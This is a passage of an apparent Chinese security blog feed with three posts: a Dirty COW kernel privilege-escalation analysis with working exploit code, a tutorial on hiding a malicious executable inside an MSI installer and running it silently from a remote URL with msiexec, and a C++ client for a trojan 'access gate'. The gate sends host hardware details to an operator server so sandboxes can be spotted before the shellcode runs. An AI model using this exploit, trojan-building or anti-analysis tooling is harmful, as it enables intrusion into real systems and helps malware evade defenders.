class="line">{</span><br><span class="line"> <span class="type">int</span> file_size = (<span class="type">int</span>) arg;</span><br><span class="line"> <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < <span class="number">200000000</span>; i++) {</span><br><span class="line"> madvise(<span class="built_in">map</span>, file_size, MADV_DONTNEED);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>可以发现文件内容被我们给修改了</p><p><img src="image-20231223181826083.png" alt="image-20231223181826083"></p><h1 id="分析代码">分析代码</h1><p>首先简单看一下主函数代码,在这之前,我们得先了解linux中的Page Cache</p><h2 id="Page-Cache">Page Cache</h2><p>在Linux中,<code>Page Cache(页缓存)</code>是一种用于加速文件系统性能的内核机制。Page Cache是一种缓存,它将磁盘上的文件数据以页的形式缓存在内存中,以便快速响应对文件的读取和写入操作。</p><p>当进程通过系统调用读取文件时,Linux内核会尝试从Page Cache中查找相应的数据。如果数据已经缓存在Page Cache中,内核可以直接将数据返回给进程,避免了从磁盘读取的开销,从而提高读取性能。</p><p>同样地,当进程进行写入操作时,内核会将数据写入Page Cache,并将数据标记为<code>已修改(dirty)</code>。然后,内核会根据一定的策略将这些修改的数据异步地刷新回磁盘,以确保数据持久化。这种延迟写入的方式可以提高写入性能,减少频繁的磁盘IO操作。</p><h2 id="mmap">mmap</h2><p>其中,<code>mmap()</code>是一个系统调用函数,用于在进程的虚拟地址空间中创建一个新的内存映射区域。它可以将文件或其他资源映射到进程的内存中,也可以用于创建匿名的、仅在内存中存在的映射区域。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">#include <sys/mman.h></span><br><span class="line">void *mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);</span><br></pre></td></tr></table></figure><p><code>mmap()</code>函数接受六个参数:</p><ul><li><p><code>addr</code>:映射区域的首选地址。通常传入<code>NULL</code>,让操作系统自动选择一个合适的地址。</p></li><li><p><code>length</code>:映射区域的长度(以字节为单位)。</p></li><li><p><code>prot</code>:内存保护标志,指定映射区域的访问权限。常见的选项有:<code>PROT_READ</code>:可读。<code>PROT_WRITE</code>:可写。<code>PROT_EXEC</code>:可执行。</p></li><li><p><code>flags</code>:映射选项标志,用于控制映射区域的行为。常见的选项有:</p><ul><li><code>MAP_SHARED</code>:与其他进程共享映射的文件或资源。</li><li><code>MAP_PRIVATE</code>:创建私有的映射区域,对其所做的修改不会影响原始文件或资源。</li><li><code>MAP_ANONYMOUS</code>:创建匿名的映射区域,不与文件关联,仅在内存中存在。</li></ul></li><li><p><code>fd</code>:要映射的文件描述符,如果创建匿名映射,则为-1。</p></li><li><p><code>offset</code>:映射的文件中的偏移量,通常为0。</p></li></ul><p>mmap创建的内存映射就是将磁盘文件的内容放到了Page Cache里。</p><h2 id="主函数">主函数</h2><p>这段代码一共创建了三个线程,主线程、writeThread 和 madviseThread,主线程创建了私有的映射区域并将我们的文件映射到内存,找到我们要替换的内容的位置,然后创建两个线程来产生竞态条件</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">char</span> *argv[])</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">pthread_t</span> pth1, pth2; <span class="comment">// 声明两个线程标识符</span></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">stat</span> <span class="title">st</span>;</span> <span class="comment">// 声明一个stat结构体变量,用于获取文件的状态信息</span></span><br><span class="line"> <span class="type">int</span> file_size; <span class="comment">// 声明一个整数变量,用于存储文件大小</span></span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> f = open(<span class="string">"test.txt"</span>, O_RDONLY); <span class="comment">// 打开一个名为"test.txt"的文件,以只读方式打开,并返回文件描述符</span></span><br><span class="line"></span><br><span class="line"> fstat(f, &st); <span class="comment">// 获取文件的状态信息,将结果存储在st结构体中</span></span><br><span class="line"> file_size = st.st_size; <span class="comment">// 获取文件的大小,赋值给file_size变量</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">map</span> = mmap(<span class="literal">NULL</span>, file_size, PROT_READ, MAP_PRIVATE, f, <span class="number">0</span>); <span class="comment">// 将文件映射到内存中,返回映射区的起始地址,存储在map指针中</span></span><br><span class="line"></span><br><span class="line"> <span class="type">char</span> *position = <span class="built_in">strstr</span>(<span class="built_in">map</span>, <span class="string">"dirty"</span>); <span class="comment">// 在映射区中搜索字符串"dirty",返回第一次出现的位置的指针,存储在position指针中</span></span><br><span class="line"></span><br><span class="line"> pthread_create(&pth1, <span class="literal">NULL</span>, madviseThread, (<span class="type">void</span> *)file_size); <span class="comment">// 创建一个线程,执行madviseThread函数,并将file_size作为参数传递</span></span><br><span class="line"> pthread_create(&pth2, <span class="literal">NULL</span>, writeThread, position); <span class="comment">// 创建另一个线程,执行writeThread函数,并将position作为参数传递</span></span><br><span class="line"></span><br><span class="line"> pthread_join(pth1, <span class="literal">NULL</span>); <span class="comment">// 等待线程pth1的结束</span></span><br><span class="line"> pthread_join(pth2, <span class="literal">NULL</span>); <span class="comment">// 等待线程pth2的结束</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">}</span><br></pre></td></tr></table></figure><h2 id="madviseThread">madviseThread</h2><p>然后是madviseThread,在这之前先了解一下madvise函数</p><p><code>madvise()</code>是一个系统调用函数,用于向操作系统提供有关内存映射区域使用方式的提示信息。它的原型如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><sys/mman.h></span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">madvise</span><span class="params">(<span class="type">void</span> *addr, <span class="type">size_t</span> length, <span class="type">int</span> advice)</span>;</span><br></pre></td></tr></table></figure><p><code>madvise()</code>函数接受三个参数:</p><ul><li><code>addr</code>:指向欲操作的内存区域的起始地址。</li><li><code>length</code>:欲操作的内存区域的长度(以字节为单位)。</li><li><code>advice</code>:对内存区域使用方式的提示信息,使用<code>MADV_*</code>常量之一。</li></ul><p><code>madvise()</code>函数的常用选项(<code>advice</code>参数)如下:</p><ul><li><p><code>MADV_NORMAL</code>:默认选项,没有特殊提示。</p></li><li><p><code>MADV_RANDOM</code>:内存区域将以随机访问方式使用。</p></li><li><p><code>MADV_SEQUENTIAL</code>:内存区域将以顺序访问方式使用。</p></li><li><p><code>MADV_WILLNEED</code>:预先告知操作系统,内存区域将很快被使用,建议提前加载至内存。</p></li><li><p><code>MADV_DONTNEED</code>:告知操作系统,内存区域的内容不再需要,可以被丢弃或回收。</p></li><li><p><code>MADV_REMOVE</code>:从内存中删除映射区域,但保留文件内容。</p></li><li><p><code>MADV_DONTFORK</code>:禁止映射区域被子进程继承。</p></li></ul><p>madviseThread函数:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">madviseThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">int</span> file_size = (<span class="type">int</span>)arg; <span class="comment">// 获得传进来的文件大小</span></span><br><span class="line"> <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span> (i = <span class="number">0</span>; i < <span class="number">200000000</span>; i++) {</span><br><span class="line"> madvise(<span class="built_in">map</span>, file_size, MADV_DONTNEED); <span class="comment">//告诉操作系统,该内存区域的内容不再需要,可以被丢弃或回收</span></span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>madviseThread要干的事非常简单,就是不断丢弃映射内容的副本页,这将导致<code>指向副本页的页表项被清除</code></p><h2 id="writeThread">writeThread</h2><p>再来看看writeThread</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> *<span class="title function_">writeThread</span><span class="params">(<span class="type">void</span> *arg)</span></span><br><span class="line">{</span><br><span class="line"> <span class="type">char</span> *content = <span class="string">"cow"</span>; <span class="comment">// 要写入内存的内容</span></span><br><span class="line"> <span class="type">off_t</span> offset = (<span class="type">off_t</span>)arg; <span class="comment">// 要写入的内存偏移量,将void指针参数转换为off_t类型</span></span><br><span class="line"></span><br><span class="line"> <span class="type">int</span> f = open(<span class="string">"/proc/self/mem"</span>, O_RDWR); <span class="comment">// 以可读写方式打开当前进程的内存文件</span></span><br><span class="line"> <span class="type">int</span> i = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">for</span>(i = <span class="number">0</span>; i < <span class="number">200000000</span>; i++) {</span><br><span class="line"> <span class="comment">// 将文件指针移动到之间查找到“dirty”的位置</span></span><br><span class="line"> lseek(f, offset, SEEK_SET);</span><br><span class="line"> <span class="comment">// 向内存写入数据</span></span><br><span class="line"> write(f, content, <span class="built_in">strlen</span>(content));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p><code>writeThread</code>函数将指定的内容(“cow”)通过<code>/proc/self/mem</code>写入内存,诶?这里似乎出现了一个问题,我们之前通过mmap返回的内存映射不是只读的吗?那这里对该位置尝试写入能写成功吗?而且就算写成功,写的也是内存映射中的内容,和原来的本地磁盘上的内容有什么联系?不急,我们接着往下看</p><h2 id="缺页中断">缺页中断</h2><p>这里先讲讲linux的缺页中断</p><p>Linux的缺页中断处理方式大致可以分为以下几个步骤:</p><ol><li>中断处理程序(Interrupt Handler):当发生缺页中断时,CPU会暂停当前进程的执行,并转交控制权给内核的中断处理程序。这个中断处理程序负责保存当前进程的上下文,并进行后续的缺页中断处理。</li><li>查询页表:中断处理程序首先会查询当前进程的页表,以确定引发缺页中断的虚拟地址所对应的页表项。如果页表项不存在或标记为无效,说明该页面尚未映射到物理内存,需要进行页面调入。</li><li>页面调入:当发现虚拟页面尚未映射到物理内存时,内核会触发页面调入操作。它会选择一个物理页面(可能需要从磁盘读取)来存储该虚拟页面的数据,并进行必要的页面映射更新。</li><li>更新页表:页面调入后,内核会更新当前进程的页表,将虚拟地址与物理地址进行映射。这样,进程可以继续访问该页面,而不会再触发缺页中断。</li><li>恢复进程执行:完成页面调入和页表更新后,内核会恢复中断处理程序保存的当前进程上下文,并将控制权返回给进程。进程可以继续执行之前被中断的指令,访问所需的页面。</li></ol><p>了解完之后我们开始分析整个过程(初略的讲一下,具体的代码逻辑可以看<a href="https://blingblingxuanxuan.github.io/2023/05/02/230501-dirtycow-analysis/">blingblingxuanxuan的文章</a>)</p><h2 id="第一次缺页中断">第一次缺页中断</h2><p>首先在主函数调用完mmap之后将文件内容以只读的形式映射到了内存中,然而相应的页表还未来得及建立</p><p>writeThread进程通过虚拟地址尝试访问这个页,但页表为空,触发缺页中断,不同的情况有不同的处理方式,而这里发生缺页以后,内核根据根据访问flags(FOLL_WRITE,写请求)和mmap类型(VM_PRIVATE,私有映射区域),在物理内存上将page_cache做了一份拷贝(COW),也就是创建一个新的物理页(称为副本页),然后将原始页的内容拷贝到新的物理页中,并使用副本页建立页表,映射给进程使用(联系到之前的例子,对b进行修改,内核拷贝了一份新的地址给b)。同时标记页表为<code>只读RO</code>和<code>脏页dirty</code></p><h2 id="第二次缺页中断">第二次缺页中断</h2><p>解决完问题,writeThread继续尝试写操作,当查找页表时,发现所请求的页表项被标记为只读(read-only),但是进程试图对该页进行写操作,Linux 的处理方式是将写意图(write intent)去掉,即<code>FOLL_WRITE=0</code>,同时会复制一份新的内存区域,并将这份新的内存区更新到页表中,并将这份新的内存区域的权限设置为可写,内核重新执行引发页面错误的那条指令。</p><p>正常情况下,程序拿到新的页表项找到物理内存就可以开始做写操作了,这个写操作是在新的内存页中操作的,和原来的内存页中无关(类似于修改了b,但和a无关)</p><p>诶!!!好巧不巧,正好此时madviseThread执行到madvice函数,释放了对应的虚拟内存空间,把这个页表的存在位清空了。</p><h2 id="第三次缺页中断">第三次缺页中断</h2><p>之前writeThread本应拿到的页表项被madviseThread给清空了,所以又发生了缺页中断,和第一次一样,只不过这一次由于访问flags(FOLL_WRITE=0),认为没有写意图,就直接返回page cache这个物理内存以建立页表关系,所以writeThread就这样拿到了对应着page cache的页表项,并通过<code>kmap()</code>映射绕过mmap映射的读写限制,完成强制写内存</p><h2 id="page-cache写回">page cache写回</h2><p>page cache的数据标记为已修改(dirty),就会通过page cache写回机制覆盖调原有的磁盘文件,至此,仅可读文件被成功修改。</p><p>上述所有的流程都是只在一次for循环中完成的,过程可参考一下流程图</p><p><img src="image-20231223231058051.png" alt="image-20231223231058051"></p><h1 id="修复">修复</h1><p>linux增加了一个FOLL_COW属性,第二次缺页中断后FOLL_WRITE不会置为0,而是加上一个<code>FOLL_COW</code>的属性,这样第三次的缺页中断FOLL_WRITE依旧等于1</p><p>参考:</p><p><a href="https://blingblingxuanxuan.github.io/2023/05/02/230501-dirtycow-analysis/">经典内核漏洞复现之 dirtycow</a></p><p><a href="https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/#%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86%E8%AF%A6%E8%A7%A3">条件竞争学习 之 DirtyCow分析</a></p><p><a href="https://bbs.kanxue.com/thread-264199.htm#msg_header_h3_6">Linux内核[CVE-2016-5195] (dirty COW)原理分析</a></p><p><a href="https://tsitsiflora.medium.com/dirty-cow-vulnerability-an-analysis-fdf50243dc6">Dirty Cow Vulnerability: An Analysis</a></p>]]></content>
<summary type="html"><p>Dirty COW(脏牛)漏洞是一种影响Linux操作系统的本地特权升级漏洞,其全称为&quot;Copy-On-Write&quot;(写时复制)漏洞。这个漏洞在2016年被公开,并且影响了大量的Linux内核版本。</p>
<p>Dirty COW漏洞的根本原因是<c</summary>
<category term="linux" scheme="http://example.com/categories/linux/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
</entry>
<entry>
<title>msi木马创建</title>
<link href="http://example.com/post/2023/msi%E6%9C%A8%E9%A9%AC%E5%88%9B%E5%BB%BA/"/>
<id>http://example.com/post/2023/msi%E6%9C%A8%E9%A9%AC%E5%88%9B%E5%BB%BA/</id>
<published>2023-08-22T02:30:44.000Z</published>
<updated>2023-09-09T02:26:38.525Z</updated>
<content type="html"><![CDATA[<h1 id="MSI文件">MSI文件</h1><p><code>MSI 文件</code>指的是 <code>Windows Installer Package </code>文件,它是一种用于安装、升级、修复和卸载软件的安装程序包格式。</p><p>Windows Installer 是 Microsoft Windows 操作系统中的一种安装技术,用于管理和执行软件的安装和卸载过程。MSI 文件是 Windows Installer 技术的核心组成部分,它以.msi 文件扩展名来标识。</p><p>MSI 文件是一种数据库式文件,其中包含了安装程序所需的文件、注册表项、配置信息、脚本和其他相关组件。它提供了一种标准化的方式来描述和定义软件的安装过程,使得软件的安装和管理更加可靠和可预测。</p><p>通过运行 MSI 文件,Windows Installer 将打开一个安装向导,引导用户完成软件的安装过程。安装过程中,Windows Installer 会根据 MSI 文件中的指令和设置,将文件复制到适当的位置,注册组件、创建快捷方式,执行系统配置等操作,最终将软件成功安装到目标计算机上。</p><p>MSI 文件具有一些特性,如安装过程的事务性、修复和升级功能、卸载功能、自定义操作等。它们被广泛用于 Windows 系统中的软件安装,包括应用程序、驱动程序、插件和组件等。</p><p>需要注意的是,运行 MSI 文件通常需要管理员权限或适当的安装权限,以确保安装过程能够成功地对系统进行更改和配置。</p><p>常见的msi:</p><p><img src="image-20230831230437851.png" alt="image-20230831230437851"></p><h1 id="木马制作思路">木马制作思路</h1><p>在MSI软件包中,<code>制作者可以使用自定义操作(Custom Actions)来执行特定的任务</code>,例如运行可执行文件、执行脚本、修改注册表等。当执行安装过程时,MSI软件包会按照事先定义的规则和流程执行这些自定义操作。如果将恶意的exe(也可以是dll、js和vbs)文件作为msi安装过程中要运行的文件,将直接触发恶意代码。</p><p><code>msiexec</code>是Windows操作系统中的命令行实用程序,用于处理MSI(Microsoft Installer)文件。它是Microsoft Installer的执行引擎,负责解析和执行MSI文件中定义的安装、修复、更新和卸载操作。msiexec支持<code>远程加载</code>msi文件并安装。</p><p>相当于通过msiexec间接运行我们的恶意exe,整个过程无文件落地。</p><h1 id="创建msi文件">创建msi文件</h1><p>msi文件可以通过<a href="https://jingyan.baidu.com/article/358570f614e0958f4724fcde.html">Advanced Installer</a><a href="https://jingyan.baidu.com/article/358570f614e0958f4724fcde.html">1</a><a href="https://jingyan.baidu.com/article/15622f24ad7835fdfdbea55f.html">,Discover</a><a href="https://jingyan.baidu.com/article/15622f24ad7835fdfdbea55f.html">2</a>,或者Visual Studio等方式创建,这里我们以Visual Studio 2022为例。</p><h2 id="下载安装插件">下载安装插件</h2><p>首先要下载安装<code>Visual Studio Installer Projects</code>插件,在vs中点击左上角<code>拓展</code>—><code>管理拓展</code>,直接搜索下载安装</p><p><img src="image-20230831232418630.png" alt="image-20230831232418630"></p><p>这样可能会比较慢,也可以直接下载<a href="https://marketplace.visualstudio.com/items?itemName=VisualStudioClient.MicrosoftVisualStudio2022InstallerProjects">拓展包</a>安装。</p><h2 id="添加Setup-Project项目">添加Setup Project项目</h2><p>创建一个新的<code>Setup Project</code>项目</p><p><img src="image-20230831232701251.png" alt="image-20230831232701251"></p><p>添加<code>项目输出</code></p><p><img src="image-20230831232813669.png" alt="image-20230831232813669"></p><p>选择<code>主输出</code></p><p><img src="image-20230831232832022.png" alt="image-20230831232832022"></p><blockquote><p>可能会遇到项目输出是空的情况,应该是解决方案配置的问题,建议不要创建一个Setup Project项目的解决方案,而是在已有解决方案项目的情况下添加Setup Project项目</p><p><img src="image-20230831234805675.png" alt="image-20230831234805675"></p></blockquote><h2 id="添加恶意exe">添加恶意exe</h2><p>右键项目选择<code>自定义操作</code></p><p><img src="image-20230831232942395.png" alt="image-20230831232942395"></p><p>发现有四个操作分别为<code>"安装"、"提交"、"回滚"和"卸载"</code></p><p><img src="image-20230831233023014.png" alt="image-20230831233023014"></p><p>在安装程序中,“安装”、“提交”、"回滚"和"卸载"是四个常见的操作类型,它们用于描述不同的安装过程中的行为和阶段。</p><ol><li>安装(Install):安装操作是指将应用程序或软件包安装到目标计算机上的过程。在安装操作中,文件、注册表项、服务、组件等将被复制、配置和注册到目标计算机的适当位置。通常,安装操作会创建所需的目录结构、注册必要的组件,并执行其他必要的配置任务。</li><li>提交(Commit):提交操作是指在安装过程中,当所有的文件和配置都已成功复制和注册到目标计算机时,确认将更改应用到系统的阶段。在提交操作之前,所有的安装操作都被视为临时性的。提交操作会将安装所做的更改永久性地应用到系统中,以确保应用程序的完整性和可用性。</li><li>回滚(Rollback):回滚操作是指当安装过程中发生错误或遇到问题时,将安装过程还原到初始状态的过程。如果在安装过程中出现错误,安装程序可以回滚(撤销)之前的所有操作,以恢复目标计算机到安装前的状态,以避免对系统造成不可逆的更改。</li><li>卸载(Uninstall):卸载操作是指从目标计算机中完全移除已安装的应用程序或软件包的过程。在卸载操作中,与安装过程相反,文件、注册表项、服务等与应用程序相关的组件将被删除,以及执行其他必要的清理任务。</li></ol><p>我们选择”安装“,右键添加自定义操作</p><p>Add File可以添加具体的运行文件,这里以一个简单的弹框exe模拟恶意脚本</p><p><img src="image-20230831233355250.png" alt="image-20230831233355250"></p><p>点击OK则成功添加到”安装“操作中</p><p><img src="image-20230831233542197.png" alt="image-20230831233542197"></p><p>点击重新生成将生成两个文件,msi文件就是我们嵌入了恶意exe的目标文件</p><p><img src="image-20230831233711946.png" alt="image-20230831233711946"></p><h1 id="利用">利用</h1><p>先用python起一个临时服务器,然后再目标主机上运行</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msiexec /i msi文件的url地址 /q TARGETDIR="C:/Users/Public/Documents"</span><br></pre></td></tr></table></figure><ul><li><code>/i</code> 是 msiexec 命令的参数,表示执行安装操作。</li><li><code>/q</code> 是 msiexec 命令的参数,表示以安静(静默)模式执行安装,即在不显示任何用户界面的情况下执行安装过程。</li><li>TARGETDIR指定程序的安装位置,不指定的话则默认安装到Program Files下,则会有权限不够以及UAC的情况</li></ul><p>发现恶意exe被执行(messagebox.exe的功能就是弹出一个niupi)</p><p><img src="image-20230831234223966.png" alt="image-20230831234223966"></p><p>参考:</p><p><a href="https://blog.csdn.net/syzcyyx/article/details/129482721">使用VisualStudio2022插件(Visual Studio Installer Projects 2022)打包 .Net 6 框架下的 WPF项目 为安装文件</a></p><p><a href="https://blog.csdn.net/weixin_44790046/article/details/103016154">VS2019打包生成安装文件图文详细教程</a></p><p><a href="https://blog.csdn.net/wmonica121/article/details/13503791">vs2010打包程序 项目输出组为空</a></p><p><a href="https://www.c-sharpcorner.com/article/how-to-perform-custom-actions-and-upgrade-using-visual-studio-installer/">如何使用 Visual Studio 安装程序执行自定义操作和升级 (c-sharpcorner.com)</a></p><p><a href="https://www.red-gate.com/simple-talk/development/dotnet-development/visual-studio-setup-projects-and-custom-actions/">Visual Studio 设置 - 项目和自定义操作 - 简单对话 (red-gate.com)</a></p>]]></content>
<summary type="html"><h1 id="MSI文件">MSI文件</h1>
<p><code>MSI 文件</code>指的是 <code>Windows Installer Package </code>文件,它是一种用于安装、升级、修复和卸载软件的安装程序包格式。</p>
<p>Windows In</summary>
<category term="技术" scheme="http://example.com/categories/%E6%8A%80%E6%9C%AF/"/>
<category term="木马" scheme="http://example.com/tags/%E6%9C%A8%E9%A9%AC/"/>
</entry>
<entry>
<title>一个简单的准接入</title>
<link href="http://example.com/post/2023/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%87%86%E6%8E%A5%E5%85%A5/"/>
<id>http://example.com/post/2023/%E4%B8%80%E4%B8%AA%E7%AE%80%E5%8D%95%E7%9A%84%E5%87%86%E6%8E%A5%E5%85%A5/</id>
<published>2023-07-02T06:05:10.000Z</published>
<updated>2023-07-02T08:59:38.601Z</updated>
<content type="html"><![CDATA[<h1 id="目标">目标</h1><p>教育护网的时候出现了钓鱼的木马样本被安全人员分析导致cs服务器的ip被封的情况,就想着写一个简单的<code>准接入控制平台</code>,来控制肉鸡是否允许连接至cs服务器。</p><p>理想效果是:<strong>点击木马以后,会先发送连接请求到接入控制服务器,在服务器上允许接入以后,木马运行shellcode,否则程序结束。</strong></p><p>肉鸡在请求连接的时候,会携带电脑的部分信息(处理器数量、内存大小等),方便攻击者判断是否为虚拟机环境</p><h1 id="开搞">开搞</h1><p>思路:控制服务器打算用python的<code>flask</code>来写,客户端与服务器的通信采用<code>socket连接</code></p><ol><li>客户端会发送自己的<code>内存大小</code>以及<code>处理器数量</code>给服务端</li><li>服务端将数据在网页中显示</li><li>攻击者选择是否允许接入</li><li>将选择结果返回给客户端</li></ol><h2 id="获取内存大小以及处理器数量">获取内存大小以及处理器数量</h2><p>windows中自带了API可以非常方便的用来获取这两个参数,分别是<code>GlobalMemoryStatusEx</code>方法和<code>GetSystemInfo</code>方法</p><p>具体代码:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//获取内存大小</span></span><br><span class="line">MEMORYSTATUSEX meminfo;</span><br><span class="line">meminfo.dwLength = <span class="built_in">sizeof</span>(MEMORYSTATUSEX);</span><br><span class="line"><span class="built_in">GlobalMemoryStatusEx</span>(&meminfo);</span><br><span class="line">DWORDLONG memory_num = meminfo.ullTotalPhys / (<span class="number">1024</span> * <span class="number">1024</span>);</span><br><span class="line"><span class="comment">//获取处理器数量</span></span><br><span class="line">SYSTEM_INFO sysinfo;</span><br><span class="line"><span class="built_in">GetSystemInfo</span>(&sysinfo);</span><br><span class="line">DWORD core_count = sysinfo.dwNumberOfProcessors; </span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="built_in">to_string</span>(memory_num)+ <span class="string">","</span>+ <span class="built_in">to_string</span>(core_count);</span><br></pre></td></tr></table></figure><p>如果电脑是16G内存带有16个处理器的话,该程序会返回一个字符串“16000,16”</p><h2 id="socket客户端">socket客户端</h2><p>用c++来写socket主要利用的是<code>ws2_32.lib</code>,所以要先导入</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string"><windows.h></span></span></span><br><span class="line"><span class="meta">#<span class="keyword">pragma</span> comment(lib, <span class="string">"ws2_32.lib"</span>)</span></span><br></pre></td></tr></table></figure><p>接下来就是调用对应的api进行操作了,整体代码为:</p><figure class="highlight c++"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 初始化Winsock库</span></span><br><span class="line">WSADATA wsaData;</span><br><span class="line"><span class="type">int</span> iResult = <span class="built_in">WSAStartup</span>(<span class="built_in">MAKEWORD</span>(<span class="number">2</span>, <span class="number">2</span>), &wsaData);</span><br><span class="line"><span class="keyword">if</span> (iResult != <span class="number">0</span>) {</span><br><span class="line"> cout << <span class="string">"WSAStartup failed: "</span> << iResult << endl;</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 创建一个TCP socket</span></span><br><span class="line">SOCKET ConnectSocket = <span class="built_in">socket</span>(AF_INET, SOCK_STREAM, IPPROTO_TCP);</span><br><span class="line"><span class="keyword">if</span> (ConnectSocket == INVALID_SOCKET) {</span><br><span class="line"> cout << <span class="string">"socket failed: "</span> << <span class="built_in">WSAGetLastError</span>() << endl;</span><br><span class="line"> <span class="built_in">WSACleanup</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 指定服务端的IP地址和端口号</span></span><br><span class="line">sockaddr_in serverAddr;</span><br><span class="line">serverAddr.sin_family = AF_INET;</span><br><span class="line">serverAddr.sin_addr.s_addr = <span class="built_in">inet_addr</span>(<span class="string">"192.168.200.225"</span>); <span class="comment">// 服务端IP地址</span></span><br><span class="line">serverAddr.sin_port = <span class="built_in">htons</span>(<span class="number">9999</span>); <span class="comment">// 服务端端口号</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 连接到服务端</span></span><br><span class="line">iResult = <span class="built_in">connect</span>(ConnectSocket, (SOCKADDR*)&serverAddr, <span class="built_in">sizeof</span>(serverAddr));</span><br><span class="line"><span class="keyword">if</span> (iResult == SOCKET_ERROR) {</span><br><span class="line"> cout << <span class="string">"connect failed: "</span> << <span class="built_in">WSAGetLastError</span>() << endl;</span><br><span class="line"> <span class="built_in">closesocket</span>(ConnectSocket);</span><br><span class="line"> <span class="built_in">WSACleanup</span>();</span><br><span class="line"> <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="comment">// 发送数据到服务端</span></span><br><span class="line">iResult = <span class="built_in">send</span>(ConnectSocket, sendData.<span class="built_in">c_str</span>(), sendData.<span class="built_in">length</span>(), <span class="number">0</span>);</span><br><span class="line"><span class="keyword">if</span> (iResult == 